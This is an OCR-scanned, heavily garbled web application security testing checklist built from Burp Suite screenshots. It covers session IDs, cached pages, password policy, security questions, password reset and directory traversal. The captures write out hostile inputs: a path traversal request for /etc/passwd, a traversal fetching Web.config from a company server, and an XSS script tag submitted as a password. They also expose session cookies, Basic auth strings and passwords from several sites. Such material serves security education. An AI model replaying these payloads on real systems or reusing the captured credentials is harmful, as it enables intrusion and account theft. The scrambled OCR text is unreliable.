Raw | Params | Headers | Hex

Response

Raw | Headers | Hex

Target: http://192.168.222.136 Llj uj

GET /WebGoat/conf HITP/L.1

Host: 192.168.222.136

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win4; xE4; rv:58.0) Gecko/20100101 Firefox/58.0

Accept: text/html,application/xhtmlixml,application/xml;q=0.9,%/*;q=0.8

Accept-Language: en-GB,en;q=0.5

Accept-Encoding: gzip, deflate

Cookie: dbx-postmeta=grabit=0-,1-,2-,3-,4-,5-, 6-6advancedstuff=0-,61-,2-;
acopendivids=swingset,jotto,phpbbl, rednine; acgroupswithpersist=nada;

PHPSESSID=qrhalv04 fhmouoasijrub3nllkl; JSESSIONID=F1CS845ECCEE12F376DIACB4732TCCATE;
_cyclone_session=BAh7BOkiD3N1c3Nph25 £aWQG0gZF Rk iJWALYIELZT! |1mu4u;Axnup1

HTTP/1.1 302 Moved Temporarily
Date: Fri, 23 Feb 2018 09:46:19 GHMT
Server: Apache-Coyote/l.1

Pragma: No-cache

Cache-Control: no-cache

Expires: Wed, 31 Dec 1969 19:00:00 EST

Location: http://192.168.222.136/WebGoat/attack?

Content-Type: text/html;charset=IS0-8859-1
Via: 1.1 127.0.1.1
Vary: Accept-Encoding

Q2B sAVEKiEF9)c3ImX3RvacVuBj sARkK iMWMr ROt ibXVrbiMxYX1CcULWM) F2Yzd T
UESBjsARgH 3D 3D--92459h06 £acd092d0d590b4205dae47cIdEe1T00; security_level=| o
Authorization: Basic d2ViZ2ShdDp3ZWInbIFO

Connection: close

Upgrade-Insecure-Requests: 1

ength: 0
Connection: close

7

=376menu=1.




Go ancel | [ <Iv ][ >iv

Request

Raw | Params | Headers | Hex

Response

Raw | Headers | Hex | HTML | Render

Target: http://192.168.222.136 w Cj

BET /WebGoat/attack?Screen=37amenu=1400&succeeded=yes HITP/1.1
Host: 192.168.222.136

User-Agent: Mozilla/5.0 (Windows NT 10.0; Winé4; xE4; rv:58.0) Gecko/20100101 Firefox/58.0

Accept: text/html,application/xhtmltxml,application/xml;q=0.9,*/%;q=0.8
Accept-Language: en-GB,en;q=0.5

Accept-Encoding: gzip, deflate

Cockie: dbx-postmeta=grabit=0-,1-,2-,3-,4-,5-,6-cadvancedstuff=0-,1-,2-;
acopendivids=swingset,jotto,phpbb2

PHPSESSID=qrba0v04 fhnouoasijrmh3 IONID=F1C845ECCE612F376DIACBA7327CCATE S

_cyclone_session=BAh7BOkiD3N1c3Nphls £aWQGOgZF Rk iJWQLYIELZT NDUAN3 AxMWF L
Q2BjsAVERiEFS)
UESBjsARgS3D%3D--92459b0E facd092d0d590b4205daed7c9dEe1700; security_level=0
Authorization: Basic d2ViZ2ShdDp3ZWinbIFO

Connection: close
Upgrade-Insecure-Requests: 1

[] Session ID Predict

mX3RvasVuBj sARK): iMUMr ROt ibXVrhjMx YX1CcULWM] FzYzdVas94b TNWQ) ZvezdMUnZLUWZ qQ

Choose another language: |Engi-- [ ¥

How to worlk with

Solution Videos WebGoat
Restart this Lesson B
* Your goal should be to try to gu
* THRb 0 is only availabl
* 5 \

TIE é\ggahfahon doesn't check fos

* Copgratiatigto e bave succ
Welebine'to WebG

onnel.

lait Forced Browsing.
fonPage

Forced Browsing

H§ié3%ow to Perform Forced Browsing Attacks.

Many web applications manage authentication by using session identifiers (session

unauthorized accessto

Tools

J

Burp Suite
ZAP
(] WebGoat

J

5. Test remember password functionality
‘ Register

Home

Buy

USERNAME: ladmin

PASSWORD: =

Login

IDs). Therefore, if session ID generation is
predictable, a malicious user could be able to find a valid session ID and gain
the application, impersonating a
previously authenticated user.

T




How to Test:



Look for password being stored in a cookie. Examine the cookies stored by the application. Verify
that the credentials are not stored in clear text, but are hased.

42 https://phpapp.infosecaddicts.com GET /showfile.php?filename=contactus.... v 200 9916 HTML php Acme laptop
110  https://phpapp.infosecaddicts.com POST Jauthenticate.php v HTML php

111 https://phpapp.infosecaddicts.com POST /authenticate.php v 302 579 HTML php

112 https://phpapp.infosecaddicts.com GET /login.php?error=Invalid+User-Na... v 200 9807 HTML php Acme laptop
114 https://phpapp.infosecaddicts.com POST /authenticate.php v 302 579 HTML php

115 https://phpapp.infosecaddicts.com GET /login.php?error=Invalid+User-Na... v 200 9807 HTML php Acme laptop
116  https://phpapp.infosecaddicts.com POST /authenticate.php v v 500 1318 HTML php 500 Internal Server Err...
2 https://phpapp.infosecaddicts.com GET /cdn-cgi/apps/head/ckgyOPiWGjg... 304 711 script is

4 https://phpapp.infosecaddicts.com GET /edn-cgi/scripts/5¢5dd728/cloud... 304 520 script is

5 K https://ajax.cloudflare.com GET Jcdn-cgi/scripts/95¢75768/cloud... 304 514 script js

«

Request
Raw Params]Headers Hex

FOST /authenticatse.php HTTP/L.L

Hoat: phpapp.infosscaddicta.com

Uaer-Agent: Mozilla/S.0 (Macintoah; Intel Mac 0S8 X 10.13; rv:68.0) Gecko/20100101 Pirefox/68.0

Accept: text/html,application/xhtml+xml,application/xml;g=0.9,*/%;9=0.8

Accept-Language: en-Us,en;g=0.5

Accept-Encoding: gzip, deflate

Referer: httpa://phpapp.infosscaddicta.com/login.php

Content-Type: application/x-www-form-vrlencoded

Content-Length: 57

connection: closs

Cookie: _ cfduid=dc602964559a793349b3b819dae03f6e1564954288; _ga=GAl.2.781573113.1564954291; _gid=GAl.2.631839643.1564954201; PHPSESSID=apk77a23hpgd1frgalingelgk?;
__auc=4s20d75blécSessssaliSblalaf; _ tawkuuid=e::infosscaddicta.com: : AptkfxgPFEGWh 88KSTQSEwvukEPHURY+589KE £d 82 5w0cn £PQ+agNYBMXACBhX/ /1 12;
__atrips_mid=bS53f835b-625c-4a04-8fe8-075cTbbcaTcf; _fbp=fb.l.1564955153850.417041806; _gat=1

Upgrade-Insscurs-Reguesta: 1

vaername=123456kreaponae=ba263940al9£635£64 5cc64 LbfeSb1l7d

Examine the hashing mechanism: if it is a common, well-know algorithm, check for its strength, it
homegrown hash functions, attempt several usernames to check whether the hash function is easily
guessable.

Decoded value: Original Hash (Md5):

I Select Decoded Value Iy Select Original Hash

Verify that the credentials are only sent during the log in phase, and not sent together with every
request to the application.



470 http://192.168.222.136 GET p P i php 200 5190 HTML php Broken WordPress &rsa...
<C

Request | Response
Raw ParamsTHesders Hex

GET /wordpress/wp-admin/themes.php HTTP/Ll.1
Host: 192.1€8.222.136

User-Agent: Mozilla/5.0 (Windows NT 10.0; WinE4; x€4; rv:58.0) Gecko/2Z0100101 Firefox/58.0

Accept: text/html,application/xhtmltxml,application/xml;q=0.9,*%/*;¢=0.8

Accept-Language: en-GB,en;q=0.5

Accept-Encoding: gzip, deflate

Peferer: http://192.168.222.136/wordpress/wp-admin/

Cockie: wordpressuser_295e£8ad706987b0db44cld33eclb0le=adnin; wordpresspass_295e£8ad706987b0db44cld33eclb0le=c3284d0£94606del fd2afl72abalshi3;]
dbx-postmeta=grabit=0-,1-,2-,3-,4-,5- E-fadvancedstuff=0-,61-,2-; security_level=0; acopendivids=swingset,bjotto,phpbbl, rednine; acgroupswithpersist=nada
Connection: close

Upgrade-Insecure-Recuests: 1

If-Modified-Since: Thu, 22 Feb 2018 0&:51:32 GMT

S

[1 Consider other sensitive form fields (e.g. an answer to a secret question that must be entered in a
password recovery or account unlock form).

e  Check for: autocomplete = “off”

gacmmmp @ Reaiser

Categories Home Buy Career

> Compaq USERNAME: |:|

> Dell
PASSWORD: I
> Gateway
> Hewlett Login
> Ibm
> Sony
> Toshiba

W O Inspector Console [ Debugger {} Style Editor () Performance {J Memory 1| Network [ Storage T Acce:
Q Search HTML 4+ XV Filter Styles

</tr> element {3 {
wvetr> }
v <td>
<br>
<font size="+1" color="#009900">PASSWORD:</font>
</td>

<br>
<input class="txt_box" name="password" type="password">
</td>

6. Testing for Browser cache weakness

Browsers can store information for purposes of caching and history. Caching is used to improve
performance, so that previously displayed information doesn't need to be downloaded again.

History
mechanisms are used for user convenience, so the user can see exactly what they saw at the time
when the resource was retrieved. If sensitive information is displayed to the user (such as their
address, credit card details, Social Security Number, or username), then this information could be
stored for purposes of caching or history, and therefore retrievable through examining the
browser's cache or by simply pressing the browser's "Back" button.

How to test:



If by pressing the "Back" button the tester can access previous pages but not access new ones, then
it is not an authentication issue, but a browser history issue. If these pages contain sensitive data,
it means that the application did not forbid the browser from storing it.

Authentication does not necessarily need to be involved in the testing. For example, when a user
enters their email address in order to sign up to a newsletter, this information could be retrievable
if not properly handled.

The "Back" button can be stopped from showing sensitive data. This can be done by:

[] Delivering the page over HTTPS.



[ Setting Cache-Control: must-re-validate

Browser Cache. In Here testers check that the application does not leak any sensitive data into the
browser cache. In order to do that, they can use a proxy (such as Burp Suite) and search through
the

serve
r responses that belong to the session, checking that for every page that contains sensitive
information the server instructed the browser not to cache any data. Such a directive can be issued
in the HTTP response headers:

[] Cache-Control: no-cache, no-store
(] Expires: 0
] Pragma: no-cache

These directives are generally robust, although additional flags may be necessary for the Cache-
Control header in order to better prevent persistently linked files on the file system:

[1 Cache-Control: must-revalidate,pre-check=0, post-check=0, max-age=0, s-maxage=0
The exact location where that information is stored depends on the client operating system and
on

th
e browser that has been used.

Mozilla Firefox:

[]  Unix/Linux: ~/.mozilla/firefox//Cache/

(] Windows: C:\Documents and Settings\\Local Settings\Application
Data\Mozilla\Firefox\Profiles\\Cache

Internet Explorer:

(] C:\Documents and Settings\\Local Settings\Temporary Internet Files

Example:



@ - C ® ® @ https://attack.samsclass.info/cookielogin/

Login with name root password toor and intercept to analysis packet

https://attack. samsclass.info
https://attack. samsclass.info

Icookielogin/messageboard.php
Icookielogin/messageboard.php

HEAD

oforame, | oadors, | tex,,

GET /cookielogin/cookielogin.php?n=root&p=toor HTTP/1l.1l

Host: attack.samsclass.info

User-Agent: Mozilla/5.0 (Windows NT 10.0; Winé4; x€4; rv:58.0) Gecko/2Z0100101 Firefox/58.0
Accept: text/html,application/xhtml+xml, application/xml;q=0.9,*/*;q=0.8

Accept-Language: en-GB,en;q=0.5

Accept-Encoding: gzip, deflate

Referer: https://attack.samsclass.info/cookielogin/

Cookie: .ASPXAUTH=INVALID; AUTH=INVALID; _ cfduid=d725a8b09£f8£f0aaZf49cf5c08E13c008al51357897¢
Connection: close

Upgrade-Insecure-Recuests: 1



594 https://attack.samsclass.info GET [ kielogin ielogin.php?n=root&p=... v 302 638 HTML php

595 https://attack.samsclass.info GET Icookielogin/messageboard.php 200 1861 HTML php
596 https://attack.samsclass.info HEAD Icookielogin/messageboard.php 200 265 HTML php
«

Logging In
Message Boz

Request | Response

_[ Raw T Headers | Hex | HTML T Render ]

HTTP/1.1l 302 Found

Date: Fri, 02 Mar 2018 07:12:17 GMT

Content-Type: text/html; charset=UTF-8

Connection: close

Set-Cookie: .ASPXAUTH=£2a9f0ea7bb98050796hE49e85481845; expires=Fri, 09-Mar-2018 07:12:17 GMT; Max-Age=£04800
Set-Cookie: AUTH=63a9f0ea7bbh9805079EhbE459e85481845; expires=Fri, 09-Mar-2Z018 07:12:17 GMT; Max-Age=604800
Location: messageboard.php

Expect-CT: max-age=£04800, report-uri="https://report-uri.cloudflare.con/cdn-cgi/beacon/expect-ct"
Server: cloudflare

CF-RPAY: 3£520ddalel3a30e-HKG

Content-Length: 104

<HTHML><head><title>Logging In</title></head>
<body bgcolor="fccccce">

<hl>Logging In</hl>

</body></htmnl>

https://attack.samsclass.info HEAD Icookielogin/messageboard.php 200 265 HTML php

595 https:/attack.samsclass.info GET /cookielogin/messageboard.php 200 1861 HTML php Message Board
596
<

Request | Response

Raw | Params Headers Hex

GET /cookielogin/messageboard.php HTTP/1.1

Host: attack.samsclass.info

User-Agent: Mozilla/5.0 (Windows NT 10.0; Winé4; x&4; rv:58.0) Gecko/20100101 Firefox/58.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: en-GB,en;q=0.5

Accept-Encoding: gzip, deflate

Referer: https://attack.samsclass.info/cookielogin/

Cookie: .ASPXAUTH=£3a9f0ea7bh98050796bE49eB85481845; AUTH=£3a9£f0ea7bh9805079€hE49e85481845; _ cfduid=d725a8b09£8£f0aaZf49c£5c08613c008al51357897¢6

Connection: close
Upgrade-Insecure-Requests: 1

595 hitps://attack.samsclass.info GET Icookielogin/messageboard.php 200 1861 HTML php
596 https:/attack.samsclass.info HEAD Icookielogin/messageboard.php 200 265 HTML php
<

Message Board

[ meauest | mesponse |

_[ Raw THeaders Hex | HTML TRender]

HTTP/1.1 200 OK

Date: Fri, 02 Mar 2018 07:12:17 GMT

Content-Type: text/html; charset=UTF-8

Connection: close

Vary: Accept-Encoding

Expect-CT: max-age=£04800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct"
Server: cloudflare

CF-PAY: 3£520dddSeEba308-HKG

Content-Length: 1551

As you can see, we are not have any Cache-control header in response packet.

From message board page, let’s click logout button. And click “Back button” on your browser or

in history (Ctrl + H) choose message board , we will catch this result out.



@-) C ® @ https://attack.samsdass.info/cookielogin/logout.php?Logout=Logout




@ - C @ ® @ https://attack.samsclass.info/cookielogin/logout.php?Logout=Logout

© History v X

@ attack.samsclass.info/cookielogin/comments.html ~
@ Logout .
@ Message Board

@ Cookie Login Page

ID Search history | View~
|

@ -> C @& ® @ https://attack.samsdass.info/cookielogin/messageboard.php

7. Testing for Weak password policy

Test objectives

Determine the resistance of the application against brute forcepassword guessing using
available



password dictionaries by evaluating the length, complexity, reuse and aging requirements of
passwords.

How to test:



[1 1. What characters are permitted and forbidden for use within a password? Is the user required to
use characters from different character sets such as lower and uppercase letters, digits and
special symbols?

J

2. How often can a user change their password? How quickly can a user change their password
after a previous change? Users may bypass password history requirements by changing
their password 5 times in a row so that after the last password change they have configured
their initial password again.

[] 3. When must a user change their password? After 90 days? After account lockout due to excessive

log on attempts?

[] 4. How often can a user reuse a password? Does the application maintain a history of theuser's

previous used 8 passwords?

J

5. How different must the next password be from the last password?

J

6. Is the user prevented from using his username or other account information (such as first or
last name) in the password?

Example:

] Review source code and get present password policy of system, make sure they following
something shown below:
(Password must meet at least 3 out of the following 4 complexity rules)

- Atleast 1 uppercase character (A-Z)

- Atleast 1 lowercase character (a-z)

- Atleast 1 digit (0-9)

- Atleast 1 special character

- Atleast 10 characters

- Atmost 128 characters

- Not more than 2 identical characters in a row (e.g., 111 not allowed)

*PASSWORD

*CONFIRM PASSWORD



Host: sso.godaddy. com

User-Agent: Mozilla/5.0 (Windows NT 10.0; Winé4; x€4; rv:57.0) Gecko/20100101 Firefox/57.0

Aecept: application/json

Accept-Language: en-GB,en;q=0.5

Aecept-Encoding: gzip, deflate

Referer: https://sso.godaddy. com/account/create?regionsitesvnérealn=idppath=42fproductséapp=account fnarketid=vi-vN
content-type: application/json

origin: https://sso.godaddy. con

Content-Length: 244

Cookie: ssoinit=l; market=vi-Vll; currency=VID; traffic=; tee_cvg=leScaeBe-1753-44e3-hees-040732h0c484;
visitor=vid=786e69ff-4355-47el-9hel-Ela0fE163612;

fh_sessiontraffic=5_TOUCH=12/18/2017%42008:13:14. 076cpathway=706e69£f-4355-4Tel-0hel-E1a0fe 163624V DATE=12/18/201742001: 13:03. 3856pe=3;
pathway=786e69££-4355-47el-Shel-61a0£€1636£2; _ CT Data=gpv=léckp=tldédu=godaddy. conbapyv_3_wwl3=léepv 3_wwwl3=1;
ctw={'pgv':2667113499360231 | 'vst ': 086755926481224 | 'wstr ' 7440085881316031 | 'inty ' 1513565065441 'v':1}; WRIgmore=true;
tee_refer=refer e id=sso.account$ZSZFereate.create_form.sso.create_account.button.clickérefer corrid=1864856680
Connection: close

{"create_username":"abhyuday.latrellfaffricca. con","create email":"abhyuday.latrellfaffricca. con", "create password":"hovaten@lH", "creat
e pin":"2134","plid":1,"session_id":"4c4f3afa-e3ch-11e7-h777-{ale3e37851d", "captcha_code":"", "captcha _ch":""}

[] Try to Bypass client side

Home Login Contact

Books Search

User name: 1234
Password: eese

Title :] o, T

New User
Advanced Search

Raw ParamsTHeaders Hex ViewSlate]

POST flogin.aspx HTTP/L.1l

Hoat: aspdotnetapp.infosscaddicts.com

Uaer-Agent: Mozilla/S5.0 (Macintosh; Intel Mac 05 X 10.13; rv:68.0) Gecko/201l00101 Pirefox/68.0

Accept: text/html,application/xhtml+xml,application/xml;g=0.9,*/*;g=0.8

Accept-Language: en-US,en;g=0.5

Accept-Encoding: gzip, deflate

Referer: httpa://aspdotnetapp.infoasecaddicta.com/login.aapx

Content-Typs: application/x-www-form-urlencoded

Content-Langth: 687

Connection: cloae

Cookie: _ cfduid=dc6029645659a793349b3b819dael3f6el564954288; _ga=GAl.2.781573113.1564954291; _ avc=4e20d75bléc5e988ealiSblalaf;
__tawkovid=e::infosscaddicts.com: : AptkfxgFFEGKhEEKETQEEwvukfPHURU+580KE td 825w0cn tFQ+aguYBMxdcBhX//::2; _ atripe mid=bS53f835b-625c-4a04-8fe8-075cTbbocaTef;
_fbp=£fb.1.1564955153850.417041806; _gid=GAl.2.1223647954.1565405500; __ aac=b7c442d516c7970cc2ed 728213
Upgrade-Inasscure-Requesta: 1

] =E__] ENT=E__ VI 2 LLTEXNDM®NZAWOTIPEBYCEQIkPQICAwIkFPQYCEWEPFQIsBlEpc2 libGVosGRCCwEPFQIfAGhKEATIbDXYCHglpbmSlemh ObWwFD 1d 1bGNvbWU g8 3v1c 30gIWQYAQU
eX190b250cmdac Lale Xvpemvab3n0omF jaltlevd fFgOQPOMIObDAYIGLiu2VheMIOBRR jdGwwHCRpY 1N1Y XJ JAaERPTVhTUwURY 3 RaMDAkaWIOE Xd ZRWLh aWe FIWNObDAw JENVbnR1bnRObGF j8UhvbGR1e JEkaWINb2d pbpS%2BIRPVG L
pmEkE6wsad0o%2FhViGzHuEKSd bS2PEREbMXStE_ VIEWSTATEGENERATOR=C 2EEIAPBEC £100%24 txtSearch=kct100%24 txtSearchDONXS5=Ec£100%24dd1advsearch=Titlekct100%24 txtNewaEmail=kct1l00%24cContent
PlaceHolderl%24txtUaer=1234kctl00%24contentPlacedolderl%24 txtPasa=1234kctl00%24ContentPlaceiolderl%24ibLogin. x=21kctl00%24ContentPlacetiolderl%2dibLogin.y=15



Raw ParamsTHeadevs Hex ViewState]

POST flogin.aspx HTTP/L.1

Hoat: aaspdotnetapp.infoasscaddicta.com

User-Agent: Mozilla/S.0 (Macintoah; Intel Mac 0S5 X 10.13; rv:68.0) Gecko/ /20100101 Pirefox/68.0

mccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;9=0.8

Accept-Language: en-US,en;g=0.5

Accept-Encoding: gzip, deflatse

Referer: httpa://aspdotnetapp.infosecaddicta.com/login.aspx

Content-Type: application/x-www-form-urlencoded

Content-Length: 687

Connection: cloae

Cookie: _ cfduid=dc6029645e59a793349b3b819dae0if6el564954288; _ga=GAl.2.781573113.1564954291; __ ao @20d75bléc5e988ealiSblalaf;
__tawkouid=e::infosecaddicta.com: : AptkfxgPFPEGWh38KETg8EwvukEPHURU+559KE £d 82 5w0cn tPQ+agNYBMX4cBhX//1:2; _ atripe_mid=b53f835b-625c-4a04-8fe8-075cTbbcatcf;
_fbp=£fb.1.1564955153850.417041806; _gid=GR1.2.1223647954.1565405500; _ aac=b7cd42d516c7970cc2ed T282.13
Upgrade-Insecure-Regueata: 1

T=E 2 LLTEXNDH®HZAWOT IPSBYCE gIkFQICAwI kP gYCEmEPFQIsBlEpo21ibGVosGRCCwSPFgIfAGhKEATBDXYCHglpbmSlomh ObiwFD1d 1bGNVERY g8 31 30gIRQYAQU
S¥190b250cmaac 1.11cxvpcmvanNDQmPJaoz1ev9ngQFDmN0mecaGhuzvncmNoBRRstwwucRpumlxx:JazﬁprvhruwuRYSRauDAkawaozxdzmuhamnwmobmma}:uvbnRlbnaaangzunvbcnlc JEKaRINb2d pbpS32BIRPVGL
pmEk86wsad0os2FhV IGZHu6KS4 bS2FEREbMXSEE_ VIEWSTATEGENERATOR=C 2EEOABBEC £100%24 txtSearch=kct100%2d txtSearchDONXSS=kct100%24dd1advsearch=Titlekct100%24 txtNewaEmail=kct100%24Content
PlaceHolder1%24 (il ool aloddic t100%24ContentPlaceiolder1%24 txtPaaa=123dkct100%24ContentPlaceiolderl%24ibLogin. x=2lkct100%24ContentPlaceiolderl%24ibLogin.y=15



[]  Generate commonly password file and try to login to make sure website ban commonly password

Request I Response

J Raw T Params I Headers I Hex ]

User-Agent: Mozilla/5.0 (Windows NT 10.0; Winé4; x€4; rv:57.0) Gecko/2Z0100101 Firefox/57.0

Accept: application/json, text/plain, */*

Accept-Language: en-GB,en;q=0.5

Accept-Encoding: gzip, deflate

Referer: http://violympic.vn/register

Content-Type: application/json;charset=utf-8

X-TS-AJAX-Recquest: true

Content-Length: 382

Cookie: lang=vi-VN; sac=8657ffa%9%-eh0c-4751-8d73-9€911a80bald;
TS0lc£5343=01c5dac002e3£9390d5e4556ca7e808£5e54103d0e24€7653d8aac4bd4be7c8517cea79%aaechE99dbalbds!
_ga=GAl.Z.567231181.1515991182; _gid=GALl.Z2.Z101925563.1515991182; _ gads=ID=abdal08cfdB8aSha&7:T=151.
connect.sid=s%3APsCKXUTJI31SbLCSHS 3e3NKIS5YTZafTys. SdjBteV33DYUUHIwcuhhUOVZBARSI4%ZBLOv3T$ZB18%2Ftls
Connection: close

"léng va
:"nhang", "username": "nhangvalang", "password": "P@ssw0rd", "passwordConfirm": "P@sswOrd",

{"userType": "STUDENT", "lastName":
", "firstName"




Request | Response
Raw | Headers | Hex

HTTP/1.1 200 OK

X-Powered-By: Express

Vary: Origin, Accept-Encoding

Content-Type: application/json; charset=utf-8

Content-Length: 3484

ETag: W/"dSc-40UStqlJHSSMRHHOB/xKtUBTZyo"

set-cookie: connect.sid=s%3APsCXUTJI3LShLCSHS_3e3NK25YTZafTygs.SdjBteV33DYUUHIwcuhhUOVZBARSI4%ZBLOv3T$ZB1l8%2Ftls; Path=/; Expires=Tue, 15 Jan 2015 0€:32:]
Date: Mon, 15 Jan 2018 0&:32:19 GMT

Connection: close

Set-Cookie:
TSO0lc£5343=01lc5dae002e3£9390d5e4556ca7e808£5e54103d0e24€7653d8aac4bd4be7e8517cea79%aaeche99dbalhd99£473e405b5e8810edb9172c5£9de0bB8eEEBeE71€6a73b4d083a’

"ling va
passwordConfirm

000Z", " firstName": "nhing","lastName":"ling va ","fullllame":
"user'l‘ype":"STU‘DENT”,"aq:ee":czue,“passvo:d" "P@sswOrd"

{"user": ("username": "nhangvalang", "birthday": "2005-12-14T00:00: 00
nhing", "email”: "langv, @gmail.con", "ph 01688456252

P@sswOrd",

] If password not comply policy password, make sure error message will be show to user
DPang ky tai khoan mai

Thong tin ca nhan*

lang va nhéng

Tai khoan*

langvanhang

Mét khau t6i thiéu 6 chiF s
[] Check for password hint
Login ’ }

Password ’ }

Submit

You can use any of the following accounts for this test system.
foo : foo

sue : sue

bob : bob

e List all forbidden characters such as: <>/+ ... and make sure they are not used in password
Request | Response
Raw | Params T Headers | Hex

Accept: application/json, text/plain, */*

Accept-Language: en-GB,en;q=0.5

Accept-Encoding: gzip, deflate

Referer: http://violympic.vn/register

Content-Type: application/json;charset=utf-8

K-TS-AJAX-Request: true

Content-Length: 398

Cookie: lang=vi-VN; sac=8657ffa%-eb0c-4751-8d73-96911a80ba0d;
TS0lc£5343=01c5dae002c0£2bbbbd00£114b481£740663affc4E737bdbaae89a4267756balEedEalslcf34b528227e£fb3468518c31368b15Sbh737c337533e1e74dd53db404a5£993a9113846983£7c20¢c
_ga=GAl.Z.567231181.1515991182; _gid=GAl.Z.Z2101925563.1515951182; _ gads=ID=abda08cfd8aShaé7:T=1515991183: S=ALNI_MZxQ4BulWnrawvdiPnaUvYbLFcOt74;
connect.sid=s%3APsSCXVTI31SbLCSHS_3e3NKI5YTZafTgs. SdjBteV33DYUUHIwcuhhUOVZBARSI4%2BLOv3T$2B18%2Ftls

Connection: close

serType": "STUDENT", "password": "<seript>alert (1) </script>","lastName"

“firstName":"tét", "usernans

"script"

"passwordConfirm": "<script>alert (1) </script>"




Request | Response

_[ Raw T Headers T Hex ]

HTTP/1.1 200 OK

Connection: close

Cache-Control: no-cache

Pragma: no-cache

X-TS-BP-Action: 2

Content-Type: text/html; charset=utf-8
Content-Length: 111

The requested URL was rejected. Please consult with your administrator. Your support ID is: 9313826866774079780

] Make sure password does not same username

Login ’ \

Password ’ \

Submit

You can use any of the following accounts for this test system.

foo : foo
sue : sue
bob : bob

8. Testing for weak security Question/Answer

How to test:

(1 Make sure no shared knowlegde secret question

Create your EA Account

Public ID

Claim your unique display name. This will be
your public identity across EA games and sites.

Password

Your password must be 8 - 16 characters, and
include at least one lowercase letter, one
uppercase letter, and a number.

Confirm Password

Security Question

Choose a question o

e T T T

What was your first girlfriend or boyfriend's name?
What was the name of your childhood best friend?
What was the make and model of your first car?
What was your dream job as a kid?

What is the name of your favorite cartoon? .
viemam v



9. Testing for weak password change or reset function

Test objectives

(] Determine the resistance of the application to subversion of the account change process allowing
someone to change the password of an account.
] Determine the resistance of the passwords reset functionality against guessing orbypassing

How to Test

[ If users, other than administrators, can change or reset passwords for accounts other than their
own.

[] Ifusers can manipulate or subvert the password change or reset process to change or reset the
password of another user or administrator.

[ If the password change or reset process is vulnerable to CSRF.

Authorization Testing

1. Testing Directory traversal / file include

During an assessment, to discover path traversal and file include flaws, testers need to perform
two different stages:

e Input Vectors Enumeration
e Testing Techniques

Example:

e In Window IIS

nashtec.. GET ileByF v 200 10990 XML v 192.168.195.15

694
=X = y
Request | Response
Raw | Params | Headers | Hex

GET /request/GetFileByFileName?path=clb33616-4048-4a76-0eeB-c36£dE7a7964 .. .. .. Web.configintAccount=CHAULAN HTTP/1.1
Host: epaymenttesting.nashtechglobal.com

User-Agent: Mozilla/§.0 (Windows NT 10.0; Win€4; x€4; rv:$8.0) Gecko/20100101 Firefox/S$8.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,%/*;q=0.8

Accept-Language: en-GB,en;q=0.5§

Accept-Encoding: gzip, deflate

Cookie: _ Req ificationToken=c2£C5dgaUSKdSal fW-ECYhl TWqbpglWoJVSQdizKYznlipb jN8h1Cthony_ZmlXat 2CHFCglraLEUQgeKOErk8Y02EWspSL) 39FPL4AVQUoQL;
. ASPXAUTH=4F22CA390B13E06813FCF20781BESAE3ECIECIAFAFTDE4D2TDB48979C308179618F4ATEECA33DS1FC52D409S63BESODBFDAISFFE57BEDAL417C0D4851199D139728ACT0CELCBF252F731FF7BEB4 1BOAF42EE7C2854992C1AS77
8502FAEOEFDAC3S7FEC0376731ASDFFETES2400A41995D01A3ABS93EATDA4DESE480712ABBEE2771CDCSC4D0SBACTBT0EE04FDDS77C3BE20ECLLC94FCISEFIEARE02226D 44523DB2ES9 E1D86D47ESA23783CEBBCLID31773D2A

101C11ABFFA3CE52D121C0SD3FAELE41ESFDECDIEBFLT4A06CF2CAECDOZCEES4518F1623DA0LBIAACA 1D4DFEFD383FS3BB726262D0DE722FE64DDEB3E95D7370ESDCFDSCEF07C3DCE3065C41D2SCEDSCI32FFDFF3D1FOA4803FECE1D21799
B3587884E5162036EEE3BC1990785A054A3DEFS8938F38DFCADFFFESB37DAD4FE17801959BCT1FFDS22E1ECA381A345DCE4C1ASBSAC BADBSBF3 6F414DOBSE8133EC0S4BS3CIFIABOS840587DAL33F7768008E1AB4DSE40SCES
0SA3DEZSF451773D3219BSA0243AEBACDFBSSDFEFACA76FBASSBEOOFF29253B594B3FFATC0L38D0OESECFEBEBSABAT4EEEDE2964466AL 345DBSFDED2486356A2116E6FC3FDS01A14194BF330899093A2C083BIADSFDCAOLOETE036FD4
82BDBYZFS1AS08IDAESIE FO16ADCS7CD3IF7CIFC47ACLSALAS T ATDE334ACESCASEBIEA3427RESBF769EID7890F LD28CFEOBFCE] 74812ES0C32F77CDE34938D2121397341B1486C3B828B0078C8437006971229500EC5A473A6
7DAD4ESACEALLES1741C03A228437C9SD4A192D16E3BE3BTDCO3CC41DELCISETABSEESOCBESBSECTFD1CEC13B4B2FBE34ECAF342F4A204BB0S053BI2F4FBAAAS7CS7ADBDBOECELEA4BFSSE76284DA3F174E211ARE4A12BECOD3ET5433EC

Connection: close
Upgrade-Insecure-Requests: 1



Q_ https://epaymenttesting.nashtechglobal.com/request/GetFileByFileName?path=c1b33616-4048-4a76-

Opening GetFileByFileName X

You have chosen to open:
‘== GetFileByFileName

which is: application/octet-stream (10.4 kB)
from: https://epaymenttesting.nashtechglobal.com

What should Firefox do with this file?

(O Open with | Browse...
@):Save File

Do this automatically for files like this from now on.

OK Cancel

e In Linux Apache

yﬂn hitp:/1192.168.222.136 GET Imutilidaefindex php?page=../.L.ltd ... | 200 440906 HTML php 192.168.222.136
'

[ espse |

Raw | Params | Headers | Hex

GET /mutillidae/index.php?page=../../../../../../../etc/passwd HTTP/1.1

Host: 192.168.222.136

User-Agent: Mozilla/5.0 (Windows NT 10.0; Winé4; xE4; rv:5$8.0) Gecko/20100101 Firefox/58.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/%;q=0.8

Accept-Language: en-GB,en;q=0.5§

Accept-Encoding: gzip, deflate

Cookie: showhints=1; dbx-postmeta=grabit=0-,1-,2-,3-,4-,65-, 6-cadvancedstuff=0-,1-,2-; security_level=0; acopendivids=swingset,jotto,phpbbZ,redmine; acgroupswithpersist=nada;
PHPSESSID=196r69a0pvvs43qp07eSnaddp3; Server=h3dhc3Bid2E=

Connection: close

Upgrade-Insecure-Requests: 1

® 192.168.222.136/mutillidae/index.php?page

e @ | | Q Search I\

@ OWASP Mutillidae Il: Web Pwn in Mass Production

Version: 2.6.24  Security Level: 0 (Hosed) Hints: Enabled (1 - 5cript Kidd1e) Not Logged In

